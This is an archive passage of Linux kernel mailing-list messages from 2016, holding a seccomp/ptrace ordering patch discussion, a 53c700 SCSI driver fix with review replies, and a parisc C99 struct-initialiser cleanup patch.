-- 
Kees Cook
Chrome OS & Brillo Security


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@amacapital.net>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: Re: [PATCH 06/14] x86/ptrace: run seccomp after ptrace
Date: Mon, 13 Jun 2016 19:27:42 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <CALCETrUJr25COBeVs_KS1SVk2f7CFzYgDr7MttZanWsJnTk0-g@mail.gmail.com>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
 <1465506124-21866-7-git-send-email-keescook@chromium.org> <CALCETrVk-UauwaRtZZR0fKQO6kyAx-r=ZCurKRdhQk9nA-TqeQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1465871296 28020 80.91.229.3 (14 Jun 2016 02:28:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2016 02:28:16 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	X86 ML <x86@kernel.org>, Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>,
	linux-arch <linux-arch@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerm
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jun 14 04:28:08 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1bCe5H-0000Gx-VI
	for glka-linux-arch@plane.gmane.org; Tue, 14 Jun 2016 04:28:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753680AbcFNC2F (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 13 Jun 2016 22:28:05 -0400
Original-Received: from mail-oi0-f44.google.com ([209.85.218.44]:34874 "EHLO
	mail-oi0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753652AbcFNC2E (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 13 Jun 2016 22:28:04 -0400
Original-Received: by mail-oi0-f44.google.com with SMTP id w5so157119669oib.2
        for <linux-arch@vger.kernel.org>; Mon, 13 Jun 2016 19:28:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=amacapital-net.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=6qcN587QYhoGihAHBBF12d1pClKpIA/mxBLFbizJuHM=;
        b=wjaRIFP067y1kstoMbhV1EmEzsqSZ0a7BpJKBiGIyE0RAaKQwiI+/aQVODIzbVfc2Q
         bisjF7DafceQ4l+a9KFEaKUz3pJgBvF6iC+fYSHEwacvHUzjGLiXj+hEDNCTXUXhK5as
         0jeEtFHQn/n5mm3fDTMFQw6H5E6o/Eu2YR8YVm1evNVxriU78aIh5MjC+scxF6ln6Mgl
         0Tvf8dCxaxeiEPdDldZ5rJUXm8l0eBwIMWMUwJ1Sap1eSdTA4F8616wCvseAKmCTdGQ3
         rY8hkuIt3WtqdX1wFD673m0yzt1Ocq8K0lHg9Xpz/0MIFkUVpDWULoOmUj/4XxMStIaA
         p6Ww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=6qcN587QYhoGihAHBBF12d1pClKpIA/mxBLFbizJuHM=;
        b=mzmrF68CGBFSkSskKn/0EksNf7DkQ35yD1J88wMOwEvUx13nKch27e5FK6tmV3ms2I
         JpPDN4aeNQqjdlnIy/t9W4Xd5Ge3saSn/F068Phsn+4UXFSlwzGrSQzusnDOU5v5opq9
         DhOjxYxrtl8sdMmxVksRYXuOH6BQWeOUVYMRo40OdvQ17lIkXP921kkpYI8RL0gugTAd
         DV88ogcclNMeMymff2XZcfxG1CTwBTVi6dbXCOGhgo7TY9B3O+zRzkwcAHURbCWP9FqZ
         s6c4tsWU/+BcZXvfBJEbEDOOb1AQ6rqeQ2Ly4homJ8Wq2+i2CyWZPHAIjBKBfJVTAJ6E
         4qVA==
X-Gm-Message-State: ALyK8tLF8H6cueAy9dXEAt4vcecIXXsGtJrVaO0DZYXfhCjXqLSWrb3H7qqZXyE2BYU/BgkVa6ULii5+qW6gJh1S
X-Received: by 10.157.35.22 with SMTP id j22mr9453983otb.98.1465871282488;
 Mon, 13 Jun 2016 19:28:02 -0700 (PDT)
Original-Received: by 10.202.199.148 with HTTP; Mon, 13 Jun 2016 19:27:42 -0700 (PDT)
In-Reply-To: <CALCETrVk-UauwaRtZZR0fKQO6kyAx-r=ZCurKRdhQk9nA-TqeQ@mail.gmail.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:32392 gmane.linux.kernel:2243118 gmane.linux.ports.arm.kernel:506749 gmane.linux.ports.mips.general:55193 gmane.linux.ports.parisc:26894 gmane.linux.ports.ppc64.devel:128516 gmane.linux.uml.devel:15913
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/32392>

On Thu, Jun 9, 2016 at 3:52 PM, Andy Lutomirski <luto@amacapital.net> wrote:
> On Thu, Jun 9, 2016 at 2:01 PM, Kees Cook <keescook@chromium.org> wrote:
>> This moves seccomp after ptrace on x86 to that seccomp can catch changes
>> made by ptrace. Emulation should skip the rest of processing too.
>>
>> We can get rid of test_thread_flag because there's no longer any
>> opportunity for seccomp to mess with ptrace state before invoking
>> ptrace.
>>
>> Suggested-by: Andy Lutomirski <luto@kernel.org>
>> Signed-off-by: Kees Cook <keescook@chromium.org>
>> Cc: x86@kernel.org
>> Cc: Andy Lutomirski <luto@kernel.org>
>> ---
>>  arch/x86/entry/common.c | 22 ++++++++++++----------
>>  1 file changed, 12 insertions(+), 10 deletions(-)
>>
>> diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
>> index df56ca394877..81c0e12d831c 100644
>> --- a/arch/x86/entry/common.c
>> +++ b/arch/x86/entry/common.c
>> @@ -73,6 +73,7 @@ static long syscall_trace_enter(struct pt_regs *regs)
>>
>>         struct thread_info *ti = pt_regs_to_thread_info(regs);
>>         unsigned long ret = 0;
>> +       bool emulated = false;
>>         u32 work;
>>
>>         if (IS_ENABLED(CONFIG_DEBUG_ENTRY))
>> @@ -80,11 +81,19 @@ static long syscall_trace_enter(struct pt_regs *regs)
>>
>>         work = ACCESS_ONCE(ti->flags) & _TIF_WORK_SYSCALL_ENTRY;
>>
>> +       if (unlikely(work & _TIF_SYSCALL_EMU))
>> +               emulated = true;
>> +
>> +       if ((emulated || (work & _TIF_SYSCALL_TRACE)) &&
>> +           tracehook_report_syscall_entry(regs))
>> +               return -1L;
>> +
>> +       if (emulated)
>> +               return -1L;
>> +
>
> I think that this code will result in ptrace-induced skips calling the
> audit exit hook but not the audit entry hook.  I don't know whether
> this is a problem.  It's also worth making sure that ptracing a
> seccomp-skipped syscall calls the exit hook with the right regs.
>
> I suspect it's fine, but I want to think about it a little bit more.

I poked at it a bit and this seems to work correctly.
selftests/x86/ptrace_syscall.c exercises PTRACE_SYSCALL_EMU pretty
well, and it still passes.

--Andy

From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <jejb@linux.vnet.ibm.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: [PATCH] 53c700: fix BUG on untagged commands
Date: Mon, 13 Jun 2016 22:00:07 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <1465880407.18583.18.camel@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465880430 17847 80.91.229.3 (14 Jun 2016 05:00:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2016 05:00:30 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>
To: linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-scsi-owner@vger.kernel.org Tue Jun 14 07:00:17 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1bCgSW-00021i-E7
	for lnx-linux-scsi@plane.gmane.org; Tue, 14 Jun 2016 07:00:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1423666AbcFNFAO (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 14 Jun 2016 01:00:14 -0400
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]:50269 "EHLO
	mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1423133AbcFNFAN (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Tue, 14 Jun 2016 01:00:13 -0400
Original-Received: from pps.filterd (m0098421.ppops.net [127.0.0.1])
	by mx0a-001b2d01.pphosted.com (8.16.0.11/8.16.0.11) with SMTP id u5E4wrtU019490
	for <linux-scsi@vger.kernel.org>; Tue, 14 Jun 2016 01:00:12 -0400
Original-Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.149])
	by mx0a-001b2d01.pphosted.com with ESMTP id 23gemufpa2-1
	(version=TLSv1.2 cipher=AES256-SHA bits=256 verify=NOT)
	for <linux-scsi@vger.kernel.org>; Tue, 14 Jun 2016 01:00:12 -0400
Original-Received: from localhost
	by e31.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-scsi@vger.kernel.org> from <jejb@linux.vnet.ibm.com>;
	Mon, 13 Jun 2016 23:00:11 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e31.co.us.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 13 Jun 2016 23:00:10 -0600
X-IBM-Helo: d03dlp03.boulder.ibm.com
X-IBM-MailFrom: jejb@linux.vnet.ibm.com
X-IBM-RcptTo: hch@infradead.org;linux-parisc@vger.kernel.org;linux-scsi@vger.kernel.org
Original-Received: from b03cxnp07029.gho.boulder.ibm.com (b03cxnp07029.gho.boulder.ibm.com [9.17.130.16])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 22CB619D805E;
	Mon, 13 Jun 2016 22:59:49 -0600 (MDT)
Original-Received: from b03ledav001.gho.boulder.ibm.com (b03ledav001.gho.boulder.ibm.com [9.17.130.232])
	by b03cxnp07029.gho.boulder.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id u5E501Jb39780474;
	Mon, 13 Jun 2016 22:00:09 -0700
Original-Received: from b03ledav001.gho.boulder.ibm.com (unknown [127.0.0.1])
	by IMSVA (Postfix) with ESMTP id 79A306E03D;
	Mon, 13 Jun 2016 23:00:09 -0600 (MDT)
Original-Received: from [153.66.254.194] (unknown [9.80.221.81])
	by b03ledav001.gho.boulder.ibm.com (Postfix) with ESMTPS id B684C6E041;
	Mon, 13 Jun 2016 23:00:08 -0600 (MDT)
X-Mailer: Evolution 3.16.5 
X-TM-AS-GCONF: 00
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 16061405-8235-0000-0000-000008956050
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 16061405-8236-0000-0000-000032342AD6
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2016-06-14_02:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 spamscore=0 suspectscore=0
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1604210000
 definitions=main-1606140057
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:114319 gmane.linux.ports.parisc:26895
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/114319>

The untagged command case in the 53c700 driver has been broken since
host wide tags were enabled because the replaced scsi_find_tag()
function had a special case for the tag value SCSI_NO_TAG to retrieve
sdev->current_cmnd.  The replacement function scsi_host_find_tag() has
no such special case and returns NULL causing untagged commands to
trigger a BUG() in the driver.  Inspection shows that the 53c700 is the
only driver using this SCSI_NO_TAG case, so a local fix in the driver
suffices to fix this problem globally.

Fixes: 64d513ac31b - "scsi: use host wide tags by default"
Cc: stable@vger.kernel.org	# 4.4+
Reported-by: Helge Deller <deller@gmx.de>
Tested-by: Helge Deller <deller@gmx.de>
Signed-off-by: James Bottomley <jejb@linux.vnet.ibm.com>

---

diff --git a/drivers/scsi/53c700.c b/drivers/scsi/53c700.c
index d4c2856..3ddc85e 100644
--- a/drivers/scsi/53c700.c
+++ b/drivers/scsi/53c700.c
@@ -1122,7 +1122,7 @@ process_script_interrupt(__u32 dsps, __u32 dsp, struct scsi_cmnd *SCp,
 		} else {
 			struct scsi_cmnd *SCp;
 
-			SCp = scsi_host_find_tag(SDp->host, SCSI_NO_TAG);
+			SCp = SDp->current_cmnd;
 			if(unlikely(SCp == NULL)) {
 				sdev_printk(KERN_ERR, SDp,
 					"no saved request for untagged cmd\n");
@@ -1826,7 +1826,7 @@ NCR_700_queuecommand_lck(struct scsi_cmnd *SCp, void (*done)(struct scsi_cmnd *)
 		       slot->tag, slot);
 	} else {
 		slot->tag = SCSI_NO_TAG;
-		/* must populate current_cmnd for scsi_host_find_tag to work */
+		/* save current command for reselection */
 		SCp->device->current_cmnd = SCp;
 	}
 	/* sanity check: some of the commands generated by the mid-layer


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Amitoj Kaur Chawla <amitoj1606@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: Change structure intialisation to C99 style
Date: Tue, 14 Jun 2016 12:13:06 +0530
Lines: 122
Approved: news@gmane.org
Message-ID: <20160614064306.GA23993@amitoj-Inspiron-3542>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465886604 7827 80.91.229.3 (14 Jun 2016 06:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2016 06:43:24 +0000 (UTC)
Cc: julia.lawall@lip6.fr
To: jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 14 08:43:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bCi49-0001wQ-6r
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Jun 2016 08:43:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751250AbcFNGnM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jun 2016 02:43:12 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:35053 "EHLO
	mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751221AbcFNGnL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jun 2016 02:43:11 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id t190so12203863pfb.2;
        Mon, 13 Jun 2016 23:43:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :user-agent;
        bh=1FRvN5GZCMozKn28EMDa5TQZPCHiXSJS7tKeeH+XFz0=;
        b=Wrx5woEK5bBt+Jvxzny+Mg4/QGjHqvz0yKiL69uQM8/Zbsu45U4z9OJ4FD9VmoZnuT
         xNn0h5zJksoNyknmEpC4Zo+XgtFQ+A4mAXvm8Y3FqG7Yb71NnA4H2OxceewX3gs30SRs
         xZCBWheNN0bxJbtfN7uXzS4A4nmbZkOcqU8IuP1Zf1gk4gp46PD+e5GMFZUgE33COmo0
         0Hbj/uK4ObPAI/YdkiYZhJrc5c3aPc2av1Q92iUVoJAK14n5DW9/Mue4nfLeLzthtCj3
         W5/dWGt9Uz6tYBw2nKXChf7pZNtks/mwSDxgmIerbnT6crpTddXDp2HjFeoypjO/b3J4
         hLaw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:user-agent;
        bh=1FRvN5GZCMozKn28EMDa5TQZPCHiXSJS7tKeeH+XFz0=;
        b=CWI4ohsES7DZtkU3zW5Ka1ESscqFrcRqlit1zLewxkR5VQbchw1mOcNvhfd9a/QooK
         6r2Cnmt2u2oVgPeRWJ5lHJ3+K1T8pC2wyc8slQLdPjmdKsMbPcnh/EGlwNOdQiUA6KZj
         u2Zw8KqsB5l7IGtV2AT1SnqVb7nw4AZzQ4kPtJ3DZe8drVJpNuBzw0D2yakGV8CA0QCK
         hoWlY3xFh4S2DuyDTKPzZT0U1r+VVacw5kFXRT6x7/gyWbVpanTEezyhY39H8SDpV940
         A/scvHl5eR72ULEfUb5EPlvfKA840dWLLjMATMllHygawOk8UMNM9aBPocFZHsavMB6R
         KoWg==
X-Gm-Message-State: ALyK8tKp4mycjXnOHteYuJmyNYKAxs5wB0+Jn5CgLgjuQMofrkk4ojrGecu8mNWVcnC8JA==
X-Received: by 10.98.87.138 with SMTP id i10mr2006569pfj.1.1465886590549;
        Mon, 13 Jun 2016 23:43:10 -0700 (PDT)
Original-Received: from localhost ([182.69.146.61])
        by smtp.gmail.com with ESMTPSA id d130sm42249247pfd.80.2016.06.13.23.43.09
        (version=TLS1_2 cipher=AES128-SHA bits=128/128);
        Mon, 13 Jun 2016 23:43:10 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26896 gmane.linux.kernel:2243203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26896>

Replace the in order struct initialisation style with explicit field
style.

The Coccinelle semantic patch used to make this change is as follows:

@decl@
identifier i1,fld;
type T;
field list[n] fs;
@@

struct i1 {
 fs
 T fld;
 ...};

@@
identifier decl.i1,i2,decl.fld;
expression e;
position bad.p, bad.fix;
@@

struct i1 i2@p = { ...,
+ .fld = e
- e@fix
 ,...};

Signed-off-by: Amitoj Kaur Chawla <amitoj1606@gmail.com>
---
 arch/parisc/lib/iomap.c | 64 ++++++++++++++++++++++++-------------------------
 1 file changed, 32 insertions(+), 32 deletions(-)

diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
index fb8e10a..eaffbb9 100644
--- a/arch/parisc/lib/iomap.c
+++ b/arch/parisc/lib/iomap.c
@@ -125,22 +125,22 @@ static void ioport_write32r(void __iomem *addr, const void *s, unsigned long n)
 }
 
 static const struct iomap_ops ioport_ops = {
-	ioport_read8,
-	ioport_read16,
-	ioport_read16,
-	ioport_read32,
-	ioport_read32,
-	ioport_write8,
-	ioport_write16,
-	ioport_write16,
-	ioport_write32,
-	ioport_write32,
-	ioport_read8r,
-	ioport_read16r,
-	ioport_read32r,
-	ioport_write8r,
-	ioport_write16r,
-	ioport_write32r,
+	.read8 = ioport_read8,
+	.read16 = ioport_read16,
+	.read16be = ioport_read16,
+	.read32 = ioport_read32,
+	.read32be = ioport_read32,
+	.write8 = ioport_write8,
+	.write16 = ioport_write16,
+	.write16be = ioport_write16,
+	.write32 = ioport_write32,
+	.write32be = ioport_write32,
+	.read8r = ioport_read8r,
+	.read16r = ioport_read16r,
+	.read32r = ioport_read32r,
+	.write8r = ioport_write8r,
+	.write16r = ioport_write16r,
+	.write32r = ioport_write32r,
 };
 
 /* Legacy I/O memory ops */
@@ -244,22 +244,22 @@ static void iomem_write32r(void __iomem *addr, const void *s, unsigned long n)
 }
 
 static const struct iomap_ops iomem_ops = {
-	iomem_read8,
-	iomem_read16,
-	iomem_read16be,
-	iomem_read32,
-	iomem_read32be,
-	iomem_write8,
-	iomem_write16,
-	iomem_write16be,
-	iomem_write32,
-	iomem_write32be,
-	iomem_read8r,
-	iomem_read16r,
-	iomem_read32r,
-	iomem_write8r,
-	iomem_write16r,
-	iomem_write32r,
+	.read8 = iomem_read8,
+	.read16 = iomem_read16,
+	.read16be = iomem_read16be,
+	.read32 = iomem_read32,
+	.read32be = iomem_read32be,
+	.write8 = iomem_write8,
+	.write16 = iomem_write16,
+	.write16be = iomem_write16be,
+	.write32 = iomem_write32,
+	.write32be = iomem_write32be,
+	.read8r = iomem_read8r,
+	.read16r = iomem_read16r,
+	.read32r = iomem_read32r,
+	.write8r = iomem_write8r,
+	.write16r = iomem_write16r,
+	.write32r = iomem_write32r,
 };
 
 static const struct iomap_ops *iomap_ops[8] = {
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Johannes Thumshirn <jthumshirn@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [PATCH] 53c700: fix BUG on untagged commands
Date: Tue, 14 Jun 2016 09:15:49 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20160614071549.5hqvboown32cwe2o@c203.arch.suse.de>
References: <1465880407.18583.18.camel@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1465888616 4941 80.91.229.3 (14 Jun 2016 07:16:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2016 07:16:56 +0000 (UTC)
Cc: linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Christoph Hellwig <hch@infradead.org>
To: James Bottomley <jejb@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 14 09:16:46 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bCiZo-0004uI-MY
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Jun 2016 09:15:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751475AbcFNHP4 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jun 2016 03:15:56 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:33959 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751403AbcFNHPz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jun 2016 03:15:55 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 26AF4ADD8;
	Tue, 14 Jun 2016 07:15:54 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1465880407.18583.18.camel@linux.vnet.ibm.com>
User-Agent: Mutt/1.6.1-neo ()
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26897 gmane.linux.scsi:114332
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26897>

On Mon, Jun 13, 2016 at 10:00:07PM -0700, James Bottomley wrote:
> The untagged command case in the 53c700 driver has been broken since
> host wide tags were enabled because the replaced scsi_find_tag()
> function had a special case for the tag value SCSI_NO_TAG to retrieve
> sdev->current_cmnd.  The replacement function scsi_host_find_tag() ha=
s
> no such special case and returns NULL causing untagged commands to
> trigger a BUG() in the driver.  Inspection shows that the 53c700 is t=
he
> only driver using this SCSI_NO_TAG case, so a local fix in the driver
> suffices to fix this problem globally.
>=20
> Fixes: 64d513ac31b - "scsi: use host wide tags by default"
> Cc: stable@vger.kernel.org	# 4.4+
> Reported-by: Helge Deller <deller@gmx.de>
> Tested-by: Helge Deller <deller@gmx.de>
> Signed-off-by: James Bottomley <jejb@linux.vnet.ibm.com>

Reviewed-by: Johannes Thumshirn <jthumshirn@suse.de>

--=20
Johannes Thumshirn                                          Storage
jthumshirn@suse.de                                +49 911 74053 689
SUSE LINUX GmbH, Maxfeldstr. 5, 90409 N=FCrnberg
GF: Felix Imend=F6rffer, Jane Smithard, Graham Norton
HRB 21284 (AG N=FCrnberg)
Key fingerprint =3D EC38 9CAB C2C4 F25D 8600 D0D0 0393 969D 2D76 0850
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ewan D. Milne" <emilne@redhat.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: [PATCH] 53c700: fix BUG on untagged commands
Date: Tue, 14 Jun 2016 09:10:45 -0400
Organization: Red Hat
Lines: 56
Approved: news@gmane.org
Message-ID: <1465909845.17524.1.camel@localhost.localdomain>
References: <1465880407.18583.18.camel@linux.vnet.ibm.com>
Reply-To: emilne@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465909858 15438 80.91.229.3 (14 Jun 2016 13:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2016 13:10:58 +0000 (UTC)
Cc: linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Christoph Hellwig <hch@infradead.org>
To: James Bottomley <jejb@linux.vnet.ibm.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Tue Jun 14 15:10:57 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1bCo7E-0003wc-Fr
	for lnx-linux-scsi@plane.gmane.org; Tue, 14 Jun 2016 15:10:48 +0200
